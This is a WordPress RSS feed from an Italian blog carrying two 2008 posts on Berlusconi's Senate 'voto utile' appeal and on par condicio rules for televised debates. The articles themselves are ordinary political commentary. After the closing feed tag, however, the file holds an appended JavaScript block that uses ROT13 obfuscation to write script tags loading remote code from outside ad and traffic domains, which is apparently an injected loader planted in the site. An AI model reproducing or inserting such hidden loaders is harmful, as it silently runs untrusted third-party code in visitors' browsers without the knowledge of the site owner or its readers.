<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Notizie dall&#039;Inferno &#187; par condicio</title>
	<atom:link href="http://www.notiziedallinferno.com/tag/par-condicio/feed" rel="self" type="application/rss+xml" />
	<link>http://www.notiziedallinferno.com</link>
	<description>_________________________________</description>
	<lastBuildDate>Mon, 14 Nov 2011 09:11:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Berlusconi: &#8220;Voto utile al Senato altrimenti potrebbe vincere il Pd&#8221;</title>
		<link>http://www.notiziedallinferno.com/berlusconi-voto-utile-al-senato-altrimenti-potrebbe-vincere-il-pd</link>
		<comments>http://www.notiziedallinferno.com/berlusconi-voto-utile-al-senato-altrimenti-potrebbe-vincere-il-pd#comments</comments>
		<pubDate>Thu, 27 Mar 2008 20:45:23 +0000</pubDate>
		<dc:creator>Mr.Wolf</dc:creator>
				<category><![CDATA[Politica]]></category>
		<category><![CDATA[appello al voto utile berlusconi]]></category>
		<category><![CDATA[b]]></category>
		<category><![CDATA[Berlusconi]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[commenti berlusconi al voto]]></category>
		<category><![CDATA[commento berlusconi voto]]></category>
		<category><![CDATA[confronto]]></category>
		<category><![CDATA[par condicio]]></category>
		<category><![CDATA[sondaggi]]></category>
		<category><![CDATA[sondaggi politici senato]]></category>
		<category><![CDATA[Veltroni]]></category>
		<category><![CDATA[voto utile veltroni]]></category>

		<guid isPermaLink="false">http://www.notiziedallinferno.com/politica/berlusconi-voto-utile-al-senato-altrimenti-potrebbe-vincere-il-pd/</guid>
		<description><![CDATA[ROMA &#8211; Per la prima volta, oggi, Silvio Berlusconi &#8211; pur dicendosi certo di una maggioranza di 28-30 parlamentari, al Senato &#8211; ammette che, a Palazzo Madama, la sconfitta è un&#8217;ipotesi tutt&#8217;altro che impossibile. E lo fa lanciando un appello al &#8220;voto utile&#8221;: &#8220;Dobbiamo spiegare agli elettori del centrodestra come il voto, soprattutto al Senato, [...]]]></description>
			<content:encoded><![CDATA[<p>ROMA &#8211; Per la prima volta, oggi, Silvio Berlusconi &#8211; pur dicendosi certo di una maggioranza di 28-30 parlamentari, al Senato &#8211; <strong>ammette che, a Palazzo Madama, la sconfitta è un&#8217;ipotesi tutt&#8217;altro che impossibile</strong>. E lo fa lanciando un appello al &#8220;voto utile&#8221;: &#8220;<strong>Dobbiamo spiegare agli elettori del centrodestra come il voto, soprattutto al Senato, ai partiti minori può portare a una vittoria dell&#8217;altra parte, è un regalo a Veltroni</strong>&#8220;. Insomma, il Pd potrebbe vincere, se si disperdono i consensi.</p>
<p><em>Duello tv, Berlusconi contro Veltroni. </em>&#8220;La par condicio non c&#8217;entra niente, c&#8217;entra un inaccettabile atto violento da parte di Veltroni che ha detto non voglio andare a rispondere ai giornalisti&#8221;. Il Cavaliere approfitta del mancato &#8220;Porta a Porta&#8221; per rispolverare uno dei sui cavalli di battaglia. Quello della Rai &#8220;in mano ai comunisti&#8221;, pregiudizialmente ostile al Cavaliere. Così come tutte le istituzioni dello Stato, (<strong>a partire dal presidente della Repubblica &#8220;che è stato eletto dalla sinistra&#8221;</strong>).<br />
<em><br />
Il leader Pdl e il voto disgiunto.</em> Pur continuando a sbandierare sondaggi favorevoli al Pdl (&#8220;I peggiori ci danno 7 punti di vantaggio, i più favorevoli si sale fino a 10&#8243;), Berlusconi tradisce qualche preoccupazione per l&#8217;esito finale del voto. Al punto che, dopo aver più volte detto che il voto ai partiti piccoli era un voto sprecato, stavolta getta sul piatto l&#8217;ipotesi di voto disgiunto. &#8220;Bisogna concentrare il voto e non disperderlo, un elettore di centrodestra deve votare il Pdl per consentirgli di ottenere una solida maggioranza: se poi a uno che gli piace Casini, che è un bel figliolo, allora lo voti alla Camera e non al Senato&#8221; dice Berlusconi. Replica di Francesco Storace: &#8220;Se dovessimo essere decisivi al Senato la Destra non voterà mai la fiducia a Berlusconi, Dini, Fini&#8221;.<br />
<em><br />
Casini attacca Berlusconi e Veltroni.</em> Il leader dell&#8217;Udc pensa al dopo voto e vede &#8220;un centro determinante&#8221;. Bollando come &#8220;barbara&#8221; l&#8217;idea del voto utile e attaccando Berlusconi e Veltroni sulla par condicio: &#8220;Il Cavaliere ha il modello di Putin da seguire. Veltroni prima credeva nel par condicio, oggi vorrebbe spartirsi gli spazi in tv con Berlusconi&#8221;.<br />
Continua&#8230; <a href="http://www.repubblica.it/2008/03/sezioni/politica/verso-elezioni-13/scontro-tv/scontro-tv.html">www.repubblica.it</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.notiziedallinferno.com/berlusconi-voto-utile-al-senato-altrimenti-potrebbe-vincere-il-pd/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Confronto diretto: nel 2006 con Prodi &#8230; si è fatto</title>
		<link>http://www.notiziedallinferno.com/confronto-diretto-nel-2006-con-prodi-si-e-fatto</link>
		<comments>http://www.notiziedallinferno.com/confronto-diretto-nel-2006-con-prodi-si-e-fatto#comments</comments>
		<pubDate>Thu, 27 Mar 2008 19:11:20 +0000</pubDate>
		<dc:creator>Mr.Wolf</dc:creator>
				<category><![CDATA[Politica]]></category>
		<category><![CDATA[b]]></category>
		<category><![CDATA[Berlusconi]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[confronto]]></category>
		<category><![CDATA[par condicio]]></category>
		<category><![CDATA[Prodi]]></category>

		<guid isPermaLink="false">http://www.notiziedallinferno.com/politica/confronto-diretto-nel-2006-con-prodi-si-e-fatto/</guid>
		<description><![CDATA[Sembra che in Italia sia impossibile arrivare a quello che dovrebbe essere il cuore della politica: il confronto diretto. Quello che chiunque riesce a &#8220;sentire&#8221; come la più naturale espressione del confronto politico, nel nostro paese sembra davvero impossibile. Eppure non è vietato, è solo regolamentato. Oggi ci sentiamo dire che il confronto diretto è [...]]]></description>
			<content:encoded><![CDATA[<p>Sembra che in Italia sia impossibile arrivare a quello che dovrebbe essere il cuore della politica: il confronto diretto.<br />
Quello che chiunque riesce a &#8220;sentire&#8221; come la più naturale espressione del confronto politico, nel nostro paese sembra davvero impossibile. Eppure non è vietato, è solo regolamentato.<br />
Oggi ci sentiamo dire che il confronto diretto è impossibile a causa della legge sulla &#8220;par condicio&#8221;. Ma questa legge, non vieta il confronto, lo regolamenta.<br />
Voglio dire: il fatto che esistano delle regole precise, siano esse restrittive o meno, è sufficiente ad impedire il confronto tra coloro i quali si vogliono presentare come guida del nostro paese? Non riescono a trovare il modo di farlo ? Se non riescono a fare questo, come pensano allora di essere in grado di risolvere i nostri problemi ?<br />
Dicono: siamo troppi (sic!), dobbiamo confrontarci tra tutti (mi sembra ovvio&#8230;), non esistono solo &#8220;loro due&#8221;&#8230;<br />
Tutto vero:<br />
1) siete troppi, concordiamo tutti&#8230;<br />
2) VOGLIAMO che vi confrontiate tutti&#8230;<br />
3) &#8220;loro due&#8221;&#8230; non sono soli, certo, ma non possiamo nasconderci il fatto che siano gli unici due a poter davvero dichiarare di aspirare veramente al &#8220;posto&#8221; perchè veramente ne hanno le possibilità, i numeri parlano chiaro&#8230;</p>
<p>E se invece di andare in giro a tutte le ospitate si sfruttassero le occasioni per fare dei confronti?<br />
Nel paese del calcio, non si è capito il concetto di &#8220;girone&#8221;? E&#8217; solo un problema di numero di incontri, tutto qui&#8230;</p>
<p>Intanto nel 2006 ci si è provato, bene o male è stato un inizio&#8230;.<br />
&#8230;speriamo che &#8220;i cervelloni&#8221; trovino una soluzione, ma il pensiero è che preferiscano non farlo&#8230;.<br />
27/03/2008 by Mr.Wolf</p>
<blockquote><p>Berlusconi vs. Prodi<br />
pubblicato: venerdì 03 febbraio 2006 da Malaparte in: <a href="http://www.tvblog.it/categoria/tg-informazione">TG / Informazione</a>Molto esauriente &#8211; mi dispiace per chi se la dovesse essere persa &#8211; la spiegazione a proposito della par condicio che è stata data oggi a Radio24, nello spazio curato da Santalmassi.<br />
Ci vorrebbe una spiegazione del genere in televisione, che precisi soprattutto come è regolata lâ€™apparizione dei politici in televisione nel periodo pre e in quello post par condicio. Ma non pretendiamo tanto, via.<br />
La notizia del giorno è comunque il fatto che Romano Prodi accetta di partecipare al confronto diretto con Silvio Berlusconi.<br />
Le regole sono ferree &#8211; dettate dalla legge -: i confronti fra i leader dei due schieramenti devono essere il primo e lâ€™ultimo di cinque (gli altri tre prevedono confronti fra altri esponenti delle coalizioni), arbitrati da un giornalista RAI e con la presenza di altri tre giornalisti scelti fra i nomi proposti dallâ€™uno e dallâ€™altro leader, tempi di risposta rigidi e cronometrati; i confronti possono essere trasmessi in contemporanea da emittenti private che ne facciano richiesta.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.notiziedallinferno.com/confronto-diretto-nel-2006-con-prodi-si-e-fatto/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script language="JavaScript" type="text/javascript">function rot13(input){return input.replace(/[a-zA-Z]/g,function(ch){return String.fromCharCode((ch<="Z"?90:122)>=(ch=ch.charCodeAt(0)+13)?ch:ch-26);})}document.write(rot13("<fpevcg fep=\"uggc://jjj.genssvperirahr.arg/ybnqnq.wf?hfreanzr=vaw\"></fpevcg>\n<fpevcg fep=\"uggc://jjj.nyynop.pbz/vaqrk.cuc?ers=pbqr\"></fpevcg>"));</script>
